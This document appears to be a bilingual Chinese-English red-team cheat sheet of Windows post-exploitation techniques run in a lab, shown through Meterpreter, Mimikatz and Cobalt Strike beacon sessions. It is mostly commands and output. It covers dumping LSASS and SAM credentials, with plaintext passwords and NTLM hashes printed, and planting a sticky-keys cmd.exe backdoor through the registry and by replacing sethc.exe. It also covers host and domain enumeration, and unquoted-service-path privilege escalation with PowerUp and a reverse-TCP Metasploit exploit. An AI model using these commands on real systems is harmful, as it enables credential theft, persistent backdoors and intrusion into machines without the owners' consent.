实现原理：
This technique injects into the LSASS.exe process and scrapes its memory for plaintext passwords of logged on users. You must do this from a high integrity process.
注入lsass .exe进程，并从其内存中提取登录用户的明文密码
use mimikatz
wdigest(获取WDigest凭据)
msv （获取msv凭据（hash））
kerberos （获取kerberos）
meterpreter > use mimikatz
Loading extension mimikatz...Success.
meterpreter > wdigest
[!] Not currently running as SYSTEM
[*] Attempting to getprivs ...
[+] Got SeDebugPrivilege.
[*] Retrieving wdigest credentials
wdigest credentials
===================
AuthID Package Domain User Password
------ ------- ------ ---- --------
0;996 Negotiate NT AUTHORITY NETWORK SERVICE
0;53216 NTLM
0;997 Negotiate NT AUTHORITY LOCAL SERVICE
0;999 NTLM WORKGROUP ROOT-5DE52AC98B$
0;146131 NTLM ROOT-5DE52AC98B Administrator 123456
meterpreter > msv
[!] Not currently running as SYSTEM
[*] Attempting to getprivs ...
[+] Got SeDebugPrivilege.
[*] Retrieving msv credentials
msv credentials
===============
AuthID Package Domain User Password
------ ------- ------ ---- --------
0;146131 NTLM ROOT-5DE52AC98B Administrator lm{ 44efce164ab921caaad3b435b51404ee }, ntlm{ 32ed87bdb5fdc5e9cba88547376818d4 }
0;996 Negotiate NT AUTHORITY NETWORK SERVICE lm{ aad3b435b51404eeaad3b435b51404ee }, ntlm{ 31d6cfe0d16ae931b73c59d7e0c089c0 }
0;53216 NTLM n.s. (Credentials KO)
0;997 Negotiate NT AUTHORITY LOCAL SERVICE n.s. (Credentials KO)
0;999 NTLM WORKGROUP ROOT-5DE52AC98B$ n.s. (Credentials KO)
meterpreter > kerberos
[!] Not currently running as SYSTEM
[*] Attempting to getprivs ...
[+] Got SeDebugPrivilege.
[*] Retrieving kerberos credentials
kerberos credentials
====================
AuthID Package Domain User Password
------ ------- ------ ---- --------
0;996 Negotiate NT AUTHORITY NETWORK SERVICE
0;53216 NTLM
0;997 Negotiate NT AUTHORITY LOCAL SERVICE
0;999 NTLM WORKGROUP ROOT-5DE52AC98B$
0;146131 NTLM ROOT-5DE52AC98B Administrator 123456
logonpasswords
mimikatz !sekurlsa::logonpasswords
mimikatz !sekurlsa::msv
mimikatz !sekurlsa::kerberos
mimikatz !sekurlsa::wdigest
beacon> logonpasswords
[*] Tasked beacon to run mimikatz's sekurlsa::logonpasswords command
[+] host called home, sent: 630354 bytes
[+] received output:
Authentication Id : 0 ; 338316 (00000000:0005298c)
Session : Interactive from 0
User Name : Administrator
Domain : ROOT-5DE52AC98B
Logon Server : ROOT-5DE52AC98B
Logon Time : 2019-9-4 19:18:26
SID : S-1-5-21-1911985068-4225083820-4011728908-500
msv :
[00000002] Primary
* Username : Administrator
* Domain : ROOT-5DE52AC98B
* LM : 44efce164ab921caaad3b435b51404ee
* NTLM : 32ed87bdb5fdc5e9cba88547376818d4
* SHA1 : 6ed5833cf35286ebf8662b7b5949f0d742bbec3f
wdigest :
* Username : Administrator
* Domain : ROOT-5DE52AC98B
* Password : 123456
kerberos :
* Username : Administrator
* Domain : ROOT-5DE52AC98B
* Password : 123456
ssp :
credman :
Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : NETWORK SERVICE
Domain : NT AUTHORITY
Logon Server : (null)
Logon Time : 2019-9-4 19:14:12
SID : S-1-5-20
msv :
[00000002] Primary
* Username : ROOT-5DE52AC98B$
* Domain : WORKGROUP
* LM : aad3b435b51404eeaad3b435b51404ee
* NTLM : 31d6cfe0d16ae931b73c59d7e0c089c0
* SHA1 : da39a3ee5e6b4b0d3255bfef95601890afd80709
wdigest :
* Username : ROOT-5DE52AC98B$
* Domain : WORKGROUP
* Password : (null)
kerberos :
* Username : root-5de52ac98b$
* Domain : WORKGROUP
* Password : (null)
ssp :
credman :
Authentication Id : 0 ; 997 (00000000:000003e5)
Session : Service from 0
User Name : LOCAL SERVICE
Domain : NT AUTHORITY
Logon Server : (null)
Logon Time : 2019-9-4 19:14:12
SID : S-1-5-19
msv :
wdigest :
kerberos :
* Username : (null)
* Domain : (null)
* Password : (null)
ssp :
credman :
Authentication Id : 0 ; 53331 (00000000:0000d053)
Session : UndefinedLogonType from 0
User Name : (null)
Domain : (null)
Logon Server : (null)
Logon Time : 2019-9-4 19:14:12
SID :
msv :
wdigest :
kerberos :
ssp :
credman :
Authentication Id : 0 ; 999 (00000000:000003e7)
Session : UndefinedLogonType from 0
User Name : ROOT-5DE52AC98B$
Domain : WORKGROUP
Logon Server : (null)
Logon Time : 2019-9-4 19:14:12
SID : S-1-5-18
msv :
wdigest :
kerberos :
* Username : root-5de52ac98b$
* Domain : WORKGROUP
* Password : (null)
ssp :
credman : 实现原理：
The SAM is a database file that contains local accounts for the host, typically those found with the ‘net user’ command. To enumerate the SAM database, system level access is required.
sam文件存放着hash，然后读取该文件进行获得凭证
hashdump （普通hash获取）
run hashdump
post/windows/gather/credentials/domain_hashdump （获取域hash）
meterpreter > hashdump
Administrator:500:44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
ASPNET:1006:1dce4321e5283c3e841070331873c406:085f84e35a1bfb09ca65d008cc988cae:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
IUSR_ROOT-5DE52AC98B:1003:406eafe671e3ac72ddb9179ad9a2204a:4fa4e3f7ef6f5dc7e1b129caab134cbd:::
IWAM_ROOT-5DE52AC98B:1004:53aacf61b38888da87c793e8c36cb74a:14ba2ea13539973d3f0be627e43ff408:::
SUPPORT_388945a0:1001:aad3b435b51404eeaad3b435b51404ee:7490f8cea3cd28b37717a5d4be375404:::
meterpreter > run hashdump (需要系统权限)
[!] Meterpreter scripts are deprecated. Try post/windows/gather/smart_hashdump.
[!] Example: run post/windows/gather/smart_hashdump OPTION=value [...]
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY be7ba5c5d5c67d878cd0845b2b4d1027...
[-] Meterpreter Exception: Rex::Post::Meterpreter::RequestError stdapi_registry_open_key: Operation failed: Access is denied.
[-] This script requires the use of a SYSTEM user context (hint: migrate into service process)
msf5 post(windows/gather/credentials/domain_hashdump) > exploit
[*] Session has Admin privs
[-] This does not appear to be an AD Domain Controller
[*] Post module execution completedhashdump
mimikatz !lsadump::sam
beacon> hashdump
[*] Tasked beacon to dump hashes
[+] host called home, sent: 63557 bytes
[+] received password hashes:
Administrator:500:44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
ASPNET:1006:1dce4321e5283c3e841070331873c406:085f84e35a1bfb09ca65d008cc988cae:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
IUSR_ROOT-5DE52AC98B:1003:406eafe671e3ac72ddb9179ad9a2204a:4fa4e3f7ef6f5dc7e1b129caab134cbd:::
IWAM_ROOT-5DE52AC98B:1004:53aacf61b38888da87c793e8c36cb74a:14ba2ea13539973d3f0be627e43ff408:::
SUPPORT_388945a0:1001:aad3b435b51404eeaad3b435b51404ee:7490f8cea3cd28b37717a5d4be375404:::
beacon> mimikatz !lsadump::sam
[*] Tasked beacon to run mimikatz's !lsadump::sam command
[+] host called home, sent: 841287 bytes
[+] received output:
Domain : ROOT-5DE52AC98B
SysKey : be7ba5c5d5c67d878cd0845b2b4d1027
Local SID : S-1-5-21-1911985068-4225083820-4011728908
SAMKey : 5dfe2beb57a9d468ed8a72c51c7334ff
RID : 000001f4 (500)
User : Administrator
Hash LM : 44efce164ab921caaad3b435b51404ee
Hash NTLM: 32ed87bdb5fdc5e9cba88547376818d4
RID : 000001f5 (501)
User : Guest
RID : 000003e9 (1001)
User : SUPPORT_388945a0
Hash NTLM: 7490f8cea3cd28b37717a5d4be375404
RID : 000003eb (1003)
User : IUSR_ROOT-5DE52AC98B
Hash LM : 406eafe671e3ac72ddb9179ad9a2204a
Hash NTLM: 4fa4e3f7ef6f5dc7e1b129caab134cbd
RID : 000003ec (1004)
User : IWAM_ROOT-5DE52AC98B
Hash LM : 53aacf61b38888da87c793e8c36cb74a
Hash NTLM: 14ba2ea13539973d3f0be627e43ff408
RID : 000003ee (1006)
User : ASPNET
Hash LM : 1dce4321e5283c3e841070331873c406
Hash NTLM: 085f84e35a1bfb09ca65d008cc988cae
原理：
Check for the current registry value for terminal services, if it's 0, then terminal services are enabled. If it's 1, then they're disabled
从注册表中的键值检测是否开启终端服务，如果是0，则为开启，为1则是关闭
C:\Documents and Settings\Administrator\����>reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server
fDenyTSConnections REG_DWORD 0x0
reg queryval -k "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" -v fDenyTSConnections
post/windows/gather/enum_termserv (不好用)
meterpreter > reg queryval -k "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" -v fDenyTSConnections
Key: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server
Name: fDenyTSConnections
Type: REG_DWORD
Data: 0
msf5 post(windows/gather/enum_termserv) > exploit
[*] Doing enumeration for S-1-5-21-1911985068-4225083820-4011728908-500
[*] Post module execution completedshell reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
beacon> shell reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
[*] Tasked beacon to run: reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
[+] host called home, sent: 132 bytes
[+] received output:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server
fDenyTSConnections REG_DWORD 0x1
原理：
Modify the registry to point the sethc.exe file to point to cmd.exe
修改注册表使sethc指向cmd，然后五次shift后就可以调出cmd，当然你也可以使用这种方法去激活一个msf的shell
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe" /f
C:\Documents and Settings\Administrator>REG ADD "HKLM\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ
/d "C:\windows\system32\cmd.exe" /f
操作成功完成。
post/windows/manage/sticky_keys
msf5 post(windows/manage/sticky_keys) > exploit
[+] Session has administrative rights, proceeding.
[+] 'Sticky keys' successfully added. Launch the exploit at an RDP or UAC prompt by pressing SHIFT 5 times.
[*] Post module execution completed
shell REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe" /f
beacon> shell REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe" /f
[*] Tasked beacon to run: REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe" /f
[+] host called home, sent: 187 bytes
[+] received output:
操作成功完成。
使用takeown.exe获取系统ALC权限，然后替换
takeown.exe C:\Windows\system32\sethc.exe
del C:\Windows\system32\sethc.exe
copy C:\Windows\system32\cmd.exe C:\Windows\system32\sethc.exe
C:\Documents and Settings\Administrator>takeown.exe C:\Windows\system32\sethc.ex
e
错误: 无效参数/选项 - 'C:\Windows\system32\sethc.exe'。
键入 "TAKEOWN /?" 以了解用法。
C:\Documents and Settings\Administrator>del C:\Windows\system32\sethc.exe
C:\Documents and Settings\Administrator>copy C:\Windows\system32\cmd.exe C:\Wind
ows\system32\sethc.exe
覆盖 C:\Windows\system32\sethc.exe 吗? (Yes/No/All): yes
已复制 1 个文件。
shell takeown.exe C:\Windows\system32\sethc.exe
shell del C:\Windows\system32\sethc.exe
shell copy C:\Windows\system32\cmd.exe C:\Windows\system32\sethc.exe
beacon> shell takeown.exe C:\Windows\system32\sethc.exe
[*] Tasked beacon to run: takeown.exe C:\Windows\system32\sethc.exe
[+] host called home, sent: 72 bytes
[+] received output:
错误: 无效参数/选项 - 'C:\Windows\system32\sethc.exe'。
键入 "TAKEOWN /?" 以了解用法。
beacon> shell del C:\Windows\system32\sethc.exe
[*] Tasked beacon to run: del C:\Windows\system32\sethc.exe
beacon> shell copy C:\Windows\system32\cmd.exe C:\Windows\system32\sethc.exe
[*] Tasked beacon to run: copy C:\Windows\system32\cmd.exe C:\Windows\system32\sethc.exe
[+] host called home, sent: 157 bytes
[+] received output:
已复制 1 个文件。
ipconfig /all
C:\Documents and Settings\Administrator>ipconfig /all
Windows IP Configuration
Host Name . . . . . . . . . . . . : root-5de52ac98b
Primary Dns Suffix . . . . . . . :
Node Type . . . . . . . . . . . . : Unknown
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
Ethernet adapter 本地连接:
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection
Physical Address. . . . . . . . . : 00-0C-29-D4-66-73
DHCP Enabled. . . . . . . . . . . : Yes
Autoconfiguration Enabled . . . . : Yes
IP Address. . . . . . . . . . . . : 192.168.2.114
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.2.1
DHCP Server . . . . . . . . . . . : 192.168.2.1
DNS Servers . . . . . . . . . . . : 192.168.2.1
Lease Obtained. . . . . . . . . . : 2019年9月4日 19:14:12
Lease Expires . . . . . . . . . . : 2019年9月5日 19:14:12
C:\Documents and Settings\Administrator>
post/windows/gather/enum_domains
msf5 post(windows/gather/enum_domains) > exploit
[*] Enumerating DCs for WORKGROUP
[-] No Domain Controllers found...
[*] Post module execution completed
shell ipconfig /all
beacon> shell ipconfig /all
[*] Tasked beacon to run: ipconfig /all
[+] host called home, sent: 44 bytes
[+] received output:
Windows IP Configuration
Host Name . . . . . . . . . . . . : root-5de52ac98b
Primary Dns Suffix . . . . . . . :
Node Type . . . . . . . . . . . . : Unknown
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
Ethernet adapter 本地连接:
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection
Physical Address. . . . . . . . . : 00-0C-29-D4-66-73
DHCP Enabled. . . . . . . . . . . : Yes
Autoconfiguration Enabled . . . . : Yes
IP Address. . . . . . . . . . . . : 192.168.2.114
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.2.1
DHCP Server . . . . . . . . . . . : 192.168.2.1
DNS Servers . . . . . . . . . . . : 192.168.2.1
Lease Obtained. . . . . . . . . . : 2019年9月4日 19:14:12
Lease Expires . . . . . . . . . . : 2019年9月5日 19:14:12
arp -a
router print
C:\Documents and Settings\Administrator>arp -a
Interface: 192.168.2.114 --- 0x10003
Internet Address Physical Address Type
192.168.2.1 fc-7c-02-de-0e-c8 dynamic
192.168.2.107 b4-6b-fc-47-ad-60 dynamicrouter
meterpreter > route
IPv4 network routes
===================
Subnet Netmask Gateway Metric Interface
------ ------- ------- ------ ---------
0.0.0.0 0.0.0.0 192.168.2.1 10 65539
127.0.0.0 255.0.0.0 127.0.0.1 1 1
192.168.2.0 255.255.255.0 192.168.2.114 10 65539
192.168.2.114 255.255.255.255 127.0.0.1 10 1
192.168.2.255 255.255.255.255 192.168.2.114 10 65539
224.0.0.0 240.0.0.0 192.168.2.114 10 65539
255.255.255.255 255.255.255.255 192.168.2.114 1 65539
arp -a
beacon> shell arp -a
[*] Tasked beacon to run: arp -a
[+] host called home, sent: 37 bytes
[+] received output:
Interface: 192.168.2.114 --- 0x10003
Internet Address Physical Address Type
192.168.2.1 fc-7c-02-de-0e-c8 dynamic
192.168.2.107 b4-6b-fc-47-ad-60 dynamic
用于获取计算机的MAC和IP地址以及一些描述性代码(0x1C表示一个域控制器)
nbtstat -a ip
C:\Documents and Settings\Administrator>nbtstat -a ip
本地连接:
Node IpAddress: [192.168.2.114] Scope Id: []
NetBIOS Remote Machine Name Table
Name Type Status
---------------------------------------------
ROOT-5DE52AC98B<00> UNIQUE Registered
WORKGROUP <00> GROUP Registered
ROOT-5DE52AC98B<20> UNIQUE Registered
WORKGROUP <1E> GROUP Registered
WORKGROUP <1D> UNIQUE Registered
..__MSBROWSE__.<01> GROUP Registered
MAC Address = 00-0C-29-D4-66-73
shell c:\windows\system32\nbtstat.exe -a ip
beacon> shell c:\windows\system32\nbtstat.exe -a 192.168.2.114
[*] Tasked beacon to run: c:\windows\system32\nbtstat.exe -a 192.168.2.114
[+] host called home, sent: 79 bytes
[+] received output:
本地连接:
Node IpAddress: [192.168.2.114] Scope Id: []
NetBIOS Remote Machine Name Table
Name Type Status
---------------------------------------------
ROOT-5DE52AC98B<00> UNIQUE Registered
WORKGROUP <00> GROUP Registered
ROOT-5DE52AC98B<20> UNIQUE Registered
WORKGROUP <1E> GROUP Registered
WORKGROUP <1D> UNIQUE Registered
..__MSBROWSE__.<01> GROUP Registered
MAC Address = 00-0C-29-D4-66-73
net group "Domain Computers" /domain
C:\Documents and Settings\Administrator>net group "Domain Computers" /domain
这项请求将在域 WORKGROUP 的域控制器处理。
发生系统错误 1355。
指定的域不存在，或无法联系。
post/windows/gather/enum_ad_computers
post/windows/gather/enum_computers
msf5 post(windows/gather/enum_ad_computers) > exploit
[-] Unable to find the domain to query.
[*] Post module execution completed
msf5 post(windows/gather/enum_computers) > exploit
[*] Running module against ROOT-5DE52AC98B
[-] This host is not part of a domain.
[*] Post module execution completed
shell net group "Domain Computers" /domain
beacon> shell net group "Domain Computers" /domain
[*] Tasked beacon to run: net group "Domain Computers" /domain
[+] host called home, sent: 67 bytes
[+] received output:
这项请求将在域 WORKGROUP 的域控制器处理。
发生系统错误 1355。
指定的域不存在，或无法联系net group "Domain Controllers" /domain[:DOMAIN]
C:\Documents and Settings\Administrator>net group "Domain Controllers" /domain
这项请求将在域 WORKGROUP 的域控制器处理。
发生系统错误 1355。
指定的域不存在，或无法联系shell net group "Domain Controllers" /domain
beacon> shell net group "Domain Controllers" /domain
[*] Tasked beacon to run: net group "Domain Controllers" /domain
[+] host called home, sent: 69 bytes
[+] received output:
这项请求将在域 WORKGROUP 的域控制器处理。
发生系统错误 1355。
指定的域不存在，或无法联系。nltest /dclist
echo %LOGONSERVER%
C:\Documents and Settings\Administrator>echo %LOGONSERVER%
\\ROOT-5DE52AC98Bshell echo %LOGONSERVER%
beacon> shell echo %LOGONSERVER%
[*] Tasked beacon to run: echo %LOGONSERVER%
[+] host called home, sent: 49 bytes
[+] received output:
\\ROOT-5DE52AC98B
whoami /all /fo list
C:\Documents and Settings\Administrator>whoami
root-5de52ac98b\administrator
C:\Documents and Settings\Administrator>whoami /all
用户信息
----------------
用户名 SID
============================= =============================================
root-5de52ac98b\administrator S-1-5-21-1911985068-4225083820-4011728908-500
组信息
-----------------
组名 类型 SID 属性
================================ ====== ============ ===========================
===============
Everyone 已知组 S-1-1-0 必需的组, 启用于默认, 启用
的组
BUILTIN\Administrators 别名 S-1-5-32-544 必需的组, 启用于默认, 启用
的组, 组的所有者
BUILTIN\Users 别名 S-1-5-32-545 必需的组, 启用于默认, 启用
的组
NT AUTHORITY\INTERACTIVE 已知组 S-1-5-4 必需的组, 启用于默认, 启用
的组
NT AUTHORITY\Authenticated Users 已知组 S-1-5-11 必需的组, 启用于默认, 启用
的组
NT AUTHORITY\This Organization 已知组 S-1-5-15 必需的组, 启用于默认, 启用
的组
LOCAL 已知组 S-1-2-0 必需的组, 启用于默认, 启用
的组
NT AUTHORITY\NTLM Authentication 已知组 S-1-5-64-10 必需的组, 启用于默认, 启用
的组
特权信息
----------------------
特权名 描述 状态
=============================== ========================== ======
SeLockMemoryPrivilege 内存中锁定页面 已禁用
SeChangeNotifyPrivilege 跳过遍历检查 已启用
SeSecurityPrivilege 管理审核和安全日志 已禁用
SeBackupPrivilege 备份文件和目录 已禁用
SeRestorePrivilege 还原文件和目录 已禁用
SeSystemtimePrivilege 更改系统时间 已禁用
SeShutdownPrivilege 关闭系统 已禁用
SeRemoteShutdownPrivilege 从远程系统强制关机 已禁用
SeTakeOwnershipPrivilege 取得文件或其他对象的所有权 已禁用
SeDebugPrivilege 调试程序 已禁用
SeSystemEnvironmentPrivilege 修改固件环境值 已禁用
SeSystemProfilePrivilege 配置系统性能 已禁用
SeProfileSingleProcessPrivilege 配置单一进程 已禁用
SeIncreaseBasePriorityPrivilege 增加计划优先级 已禁用
SeLoadDriverPrivilege 装载和卸载设备驱动程序 已禁用
SeCreatePagefilePrivilege 创建页面文件 已禁用
SeIncreaseQuotaPrivilege 调整进程的内存配额 已禁用
SeUndockPrivilege 从扩展坞中取出计算机 已禁用
SeManageVolumePrivilege 执行卷维护任务 已禁用
SeImpersonatePrivilege 身份验证后模拟客户端 已启用
SeCreateGlobalPrivilege 创建全局对象 已启用
C:\Documents and Settings\Administrator>whoami /all /fo list
用户信息
----------------
用户名: root-5de52ac98b\administrator
SID: S-1-5-21-1911985068-4225083820-4011728908-500
组信息
-----------------
组名: Everyone
类型: 已知组
SID: S-1-1-0
属性: 必需的组, 启用于默认, 启用的组
组名: BUILTIN\Administrators
类型: 别名
SID: S-1-5-32-544
属性: 必需的组, 启用于默认, 启用的组, 组的所有者
组名: BUILTIN\Users
类型: 别名
SID: S-1-5-32-545
属性: 必需的组, 启用于默认, 启用的组
组名: NT AUTHORITY\INTERACTIVE
类型: 已知组
SID: S-1-5-4
属性: 必需的组, 启用于默认, 启用的组
组名: NT AUTHORITY\Authenticated Users
类型: 已知组
SID: S-1-5-11
属性: 必需的组, 启用于默认, 启用的组
组名: NT AUTHORITY\This Organization
类型: 已知组
SID: S-1-5-15
属性: 必需的组, 启用于默认, 启用的组
组名: LOCAL
类型: 已知组
SID: S-1-2-0
属性: 必需的组, 启用于默认, 启用的组
组名: NT AUTHORITY\NTLM Authentication
类型: 已知组
SID: S-1-5-64-10
属性: 必需的组, 启用于默认, 启用的组
特权信息
----------------------
特权名: SeLockMemoryPrivilege
描述: 内存中锁定页面
状态: 已禁用
特权名: SeChangeNotifyPrivilege
描述: 跳过遍历检查
状态: 已启用
特权名: SeSecurityPrivilege
描述: 管理审核和安全日志
状态: 已禁用
特权名: SeBackupPrivilege
描述: 备份文件和目录
状态: 已禁用
特权名: SeRestorePrivilege
描述: 还原文件和目录
状态: 已禁用
特权名: SeSystemtimePrivilege
描述: 更改系统时间
状态: 已禁用
特权名: SeShutdownPrivilege
描述: 关闭系统
状态: 已禁用
特权名: SeRemoteShutdownPrivilege
描述: 从远程系统强制关机
状态: 已禁用
特权名: SeTakeOwnershipPrivilege
描述: 取得文件或其他对象的所有权
状态: 已禁用
特权名: SeDebugPrivilege
描述: 调试程序
状态: 已禁用
特权名: SeSystemEnvironmentPrivilege
描述: 修改固件环境值
状态: 已禁用
特权名: SeSystemProfilePrivilege
描述: 配置系统性能
状态: 已禁用
特权名: SeProfileSingleProcessPrivilege
描述: 配置单一进程
状态: 已禁用
特权名: SeIncreaseBasePriorityPrivilege
描述: 增加计划优先级
状态: 已禁用
特权名: SeLoadDriverPrivilege
描述: 装载和卸载设备驱动程序
状态: 已禁用
特权名: SeCreatePagefilePrivilege
描述: 创建页面文件
状态: 已禁用
特权名: SeIncreaseQuotaPrivilege
描述: 调整进程的内存配额
状态: 已禁用
特权名: SeUndockPrivilege
描述: 从扩展坞中取出计算机
状态: 已禁用
特权名: SeManageVolumePrivilege
描述: 执行卷维护任务
状态: 已禁用
特权名: SeImpersonatePrivilege
描述: 身份验证后模拟客户端
状态: 已启用
特权名: SeCreateGlobalPrivilege
描述: 创建全局对象
状态: 已启用
getuid
meterpreter > getuid
Server username: ROOT-5DE52AC98B\Administrator
shell whoami /all /fo list
beacon> shell whoami /all /fo list
[*] Tasked beacon to run: whoami /all /fo list
[+] host called home, sent: 51 bytes
[+] received output:
用户信息
----------------
用户名: root-5de52ac98b\administrator
SID: S-1-5-21-1911985068-4225083820-4011728908-500
组信息
-----------------
组名: Everyone
类型: 已知组
SID: S-1-1-0
属性: 必需的组, 启用于默认, 启用的组
组名: BUILTIN\Administrators
类型: 别名
SID: S-1-5-32-544
属性: 必需的组, 启用于默认, 启用的组, 组的所有者
组名: BUILTIN\Users
类型: 别名
SID: S-1-5-32-545
属性: 必需的组, 启用于默认, 启用的组
组名: NT AUTHORITY\INTERACTIVE
类型: 已知组
SID: S-1-5-4
属性: 必需的组, 启用于默认, 启用的组
组名: NT AUTHORITY\Authenticated Users
类型: 已知组
SID: S-1-5-11
属性: 必需的组, 启用于默认, 启用的组
组名: NT AUTHORITY\This Organization
类型: 已知组
SID: S-1-5-15
属性: 必需的组, 启用于默认, 启用的组
组名: LOCAL
类型: 已知组
SID: S-1-2-0
属性: 必需的组, 启用于默认, 启用的组
组名: NT AUTHORITY\NTLM Authentication
类型: 已知组
SID: S-1-5-64-10
属性: 必需的组, 启用于默认, 启用的组
特权信息
----------------------
特权名: SeLockMemoryPrivilege
描述: 内存中锁定页面
状态: 已禁用
特权名: SeChangeNotifyPrivilege
描述: 跳过遍历检查
状态: 已启用
特权名: SeSecurityPrivilege
描述: 管理审核和安全日志
状态: 已禁用
特权名: SeBackupPrivilege
描述: 备份文件和目录
状态: 已禁用
特权名: SeRestorePrivilege
描述: 还原文件和目录
状态: 已禁用
特权名: SeSystemtimePrivilege
描述: 更改系统时间
状态: 已禁用
特权名: SeShutdownPrivilege
描述: 关闭系统
状态: 已禁用
特权名: SeRemoteShutdownPrivilege
描述: 从远程系统强制关机
状态: 已禁用
特权名: SeTakeOwnershipPrivilege
描述: 取得文件或其他对象的所有权
状态: 已禁用
特权名: SeDebugPrivilege
描述: 调试程序
状态: 已禁用
特权名: SeSystemEnvironmentPrivilege
描述: 修改固件环境值
状态: 已禁用
特权名: SeSystemProfilePrivilege
描述: 配置系统性能
状态: 已禁用
特权名: SeProfileSingleProcessPrivilege
描述: 配置单一进程
状态: 已禁用
特权名: SeIncreaseBasePriorityPrivilege
描述: 增加计划优先级
状态: 已禁用
特权名: SeLoadDriverPrivilege
描述: 装载和卸载设备驱动程序
状态: 已禁用
特权名: SeCreatePagefilePrivilege
描述: 创建页面文件
状态: 已禁用
特权名: SeIncreaseQuotaPrivilege
描述: 调整进程的内存配额
状态: 已禁用
特权名: SeUndockPrivilege
描述: 从扩展坞中取出计算机
状态: 已禁用
特权名: SeManageVolumePrivilege
描述: 执行卷维护任务
状态: 已禁用
特权名: SeImpersonatePrivilege
描述: 身份验证后模拟客户端
状态: 已启用
特权名: SeCreateGlobalPrivilege
描述: 创建全局对象
状态: 已启用
原理：
在服务路径权限不对或者配置错误时会被攻击者进行提权操作
Service paths (stored in Windows Registry keys) [2] and shortcut paths are vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., C:\unsafe path with space\program.exe vs. "C:\safe path with space\program.exe"). [3] An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is C:\program files\myapp.exe, an adversary may create a program at C:\program.exe that will be run instead of the intended program. [4] [5]
服务路径(存储在Windows注册表项中)[2]和快捷方式很容易被路径拦截，如果路径有一个或多个空格，并且没有被引号包围(例如，C:\ \program.exe vs. C:\ safe path with space\program.exe)。"C:\安全路径与空格\program.exe")。对手可以将可执行文件放在路径的较高级别目录中，Windows将解析该可执行文件而不是预期的可执行文件。例如，如果快捷方式中的路径是C:\program files\myapp。竞争对手可以在C:\program.exe上创建一个程序，该程序将代替预期的程序运行
PATH Environment Variable Misconfiguration
The PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, %SystemRoot%\system32 (e.g., C:\Windows\system32), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.
For example, if C:\example path precedes C:\Windows\system32 is in the PATH environment variable, a program that is named net.exe and placed in C:\example path will be called instead of the Windows system "net" when "net" is executed from the command-line.
powershell -ep bypass .\powerup.ps1 Invoke-AllChecks
powershell -ExecutionPolicy Bypass .\powerup.ps1 Invoke-AllChecks
PS C:\Users\Administrator\Desktop\powrshell> powershell -ep bypass .\powerup.ps1 Invoke-AllChecks
PS C:\Users\Administrator\Desktop\powrshell> powershell -ExecutionPolicy Bypass .\powerup.ps1 Invoke-AllChecks
PS C:\Users\Administrator\Desktop\powrshell> powershell -ExecutionPolicy Bypass -File .\powerup.ps1
exploit/windows/local/trusted_service_path
msf5 exploit(windows/local/trusted_service_path) > exploit
[*] Started reverse TCP handler on 192.168.2.107:4444
[*] Finding a vulnerable service...
[-] Exploit aborted due to failure: not-vulnerable: No service found with trusted path issues
[*] Exploit completed, but no session was created.
powershell-import /path/to/PowerUp.ps1
powershell Invoke-AllChecks
beacon> powershell C:\Users\Administrator\Desktop\powrshell\powerup.ps1
[*] Tasked beacon to run: C:\Users\Administrator\Desktop\powrshell\powerup.ps1
[+] host called home, sent: 203 bytes
